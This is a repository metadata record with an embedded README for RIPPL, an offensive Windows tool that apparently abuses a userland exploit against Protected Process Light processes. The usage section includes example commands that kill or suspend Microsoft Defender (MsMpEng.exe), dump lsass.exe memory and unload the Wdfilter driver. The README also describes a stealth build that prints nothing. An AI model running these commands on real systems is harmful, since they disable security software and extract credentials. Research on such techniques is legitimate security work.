{"id":21134371,"url":"https://github.com/last-byte/rippl","last_synced_at":"2025-04-13T09:10:54.269Z","repository":{"id":211243239,"uuid":"463497583","full_name":"last-byte/RIPPL","owner":"last-byte","description":"RIPPL is a tool that abuses a usermode only exploit to manipulate PPL processes on Windows","archived":false,"fork":false,"pushed_at":"2022-03-26T22:52:51.000Z","size":1701,"stargazers_count":7,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-03-27T00:54:12.648Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/last-byte.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2022-02-25T10:52:42.000Z","updated_at":"2024-12-11T02:55:58.000Z","dependencies_parsed_at":"2023-12-07T10:35:32.061Z","dependency_job_id":"38fedc17-4492-4036-884f-b52be3d6d57f","html_url":"https://github.com/last-byte/RIPPL","commit_stats":null,"previous_names":["last-byte/rippl"],"tags_count":13,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/last-byte%2FRIPPL","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/last-byte%2FRIPPL/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/last-byte%2FRIPPL/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/last-byte%2FRIPPL/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/last-byte","download_url":"https://codeload.github.com/last-byte/RIPPL/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248688565,"owners_count":21145766,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-20T06:27:43.920Z","updated_at":"2025-04-13T09:10:54.242Z","avatar_url":"https://github.com/last-byte.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# RIPPL\n### Manipulating PPL protected processes without using a driver\n\n![defender funny](./defenderfunny.gif)\n\nThis tool implements a __userland__ exploit to manipulate Windows PPL protected processes. The technique was initially discussed by James Forshaw (a.k.a. [@tiraniddo](https://twitter.com/tiraniddo)) and Clément Labro (a.k.a. [@itm4n](https://twitter.com/itm4n)) in the following blogposts. \n\n- __Blog post from James Forshaw__: [Windows Exploitation Tricks](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)\n- __Blog post from Clément Labro part #1__: [Do You Really Know About LSA Protection (RunAsPPL)?](https://itm4n.github.io/lsass-runasppl/)\n- __Blog post from Clément Labro part #2__: [Bypassing LSA Protection in Userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/)\n\n\n## Usage\n\n### Warning: the safe version of the binary __NEVER__ outputs anything, as all the strings and print function are stripped away using conditional compilation macros.\nSimply run the executable without any argument and you will get a detailed help/usage (only valid for binaries compiled without defining the `OPSEC` macro)\n\n```console\nc:\\Temp\u003e.\\rippl.exe\n  _____  _____ _____  _____  _\n |  __ \\|_   _|  __ \\|  __ \\| |\n | |__) | | | | |__) | |__) | |      version 0.1\n |  _  /  | | |  ___/|  ___/| |      by @last0x00\n | | \\ \\ _| |_| |    | |    | |____  forked by itm4n's PPLDump\n |_|  \\_\\_____|_|    |_|    |______|\n\nDescription:\n  Manipulate Protected Process Light (PPL) processes with a *userland* exploit\n\nUsage:\n  rippl.exe (-D|-K|-S|-R|-L|-X|-W|-Z|-T|-U) [-v] [-d] [-f] (PROC_NAME|PID) [DUMP_FILE|DRIVER_NAME]\n  () -\u003e mandatory arguments\n  [] -\u003e optional arguments\n\nOperation modes (choose ONLY one):\n  -D -\u003e Dump the given process\n  -K -\u003e Kill the given process\n  -S -\u003e Suspend the given process\n  -R -\u003e Resume the previously suspended process\n  -L -\u003e Leak a PROCESS_ALL_ACCESS handle to the given process (not yet implemented)\n  -X -\u003e Kill the given process by assigning it to a job object and terminating the object\n  -W -\u003e Freeze the process by assigning it to a job object and severely constraining its CPU resources\n  -Z -\u003e Kill the given process by injecting a thread into it which calls exit(0)\n  -T -\u003e Sandbox the process by disabling all of its token's privileges and lowering integrity to untrusted\n  -U -\u003e Unload the provided driver\n\nArguments:\n  PROC_NAME   -\u003e The name of the process to interact with\n  PID         -\u003e The ID of the process to interact with\n  DUMP_FILE   -\u003e The path of the output dump file - valid ONLY with the -D option\n  DRIVER_NAME -\u003e The name of the driver to unload - valid ONLY with the -U option\n\nOptions:\n  -d -\u003e (Debug) Enable debug mode\n  -f -\u003e (Force) Bypass DefineDosDevice error check\n\nExamples:\n  rippl.exe -K MsMpEng.exe\n  rippl.exe -S MsMpEng.exe\n  rippl.exe -R MsMpEng.exe\n  rippl.exe -D -f lsass.exe lsass.dmp\n  rippl.exe -D -d -f 720 out.dmp\n  rippl.exe -U Wdfilter\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flast-byte%2Frippl","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flast-byte%2Frippl","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flast-byte%2Frippl/lists"}